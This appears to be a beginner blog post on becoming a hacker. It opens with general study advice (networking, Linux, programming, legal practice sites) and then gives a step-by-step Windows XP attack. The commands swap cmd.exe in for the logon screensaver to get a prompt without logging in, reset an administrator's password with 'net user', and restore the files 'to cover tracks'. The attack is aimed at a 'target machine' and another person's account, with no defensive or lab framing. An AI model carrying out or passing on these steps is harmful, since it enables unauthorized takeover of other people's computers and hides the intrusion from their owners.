Requirements to become an hacker or cyber security expert

Every industry have some requirements for their expertization. Similarly there are few things you have to kept in mind if you are planning to become an Ethical Hacker or a security expert.

I must write this post in points so that time wasting elements could be eliminated.

So, here we go the points which are important to be an Cyber security expert formally called an Hacker :

1. First of course you should have the knowledge of operating computer (It is very important that you have the basic knowledge).

2. Learn about the Networking and a bit about hardware. Hard core Knowledge of hardware is not require but networking is the key of successful hacking.

3. Start learning Linux and try be n expert of it because most of the hacking tools work handy on different versions of Linux (Backtrack 5, Kali Linux etc).

4. A bit knowledge of programming will add most spices to your skills. The more you learn programming, the more you'll become an expert hacker.
Maybe someday you'll make your own hacking software, but if you are a beginner just start with small and easy languages like HTML and then concept and fundamentals could be get by learning basics of C programming.

Now you are ready to go. Start exploring your skills will be improve day by day.

5. Now, when you have all the materials start to polish your skills by completing challenges at Online Hacking Gamers websites.
Here are some examples of hacking gaming websites => This Is Legal, Hack This Site, Dare your mind etc.

Note : Never tried to attempt any hacking on Banking site as they are much secured and could be punished heavily for such offence. 

Learn How to hack administrator account with a limited user account?

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack (creates the folder temphack)
copy logon.scr temphack\logon.scr (backsup logon.scr)
copy cmd.exe temphack\cmd.exe (backsup cmd.exe)
del logon.scr (deletes original logon.scr)
rename cmd.exe logon.scr (renames cmd.exe to logon.scr)
exit (quits dos)
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.

Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
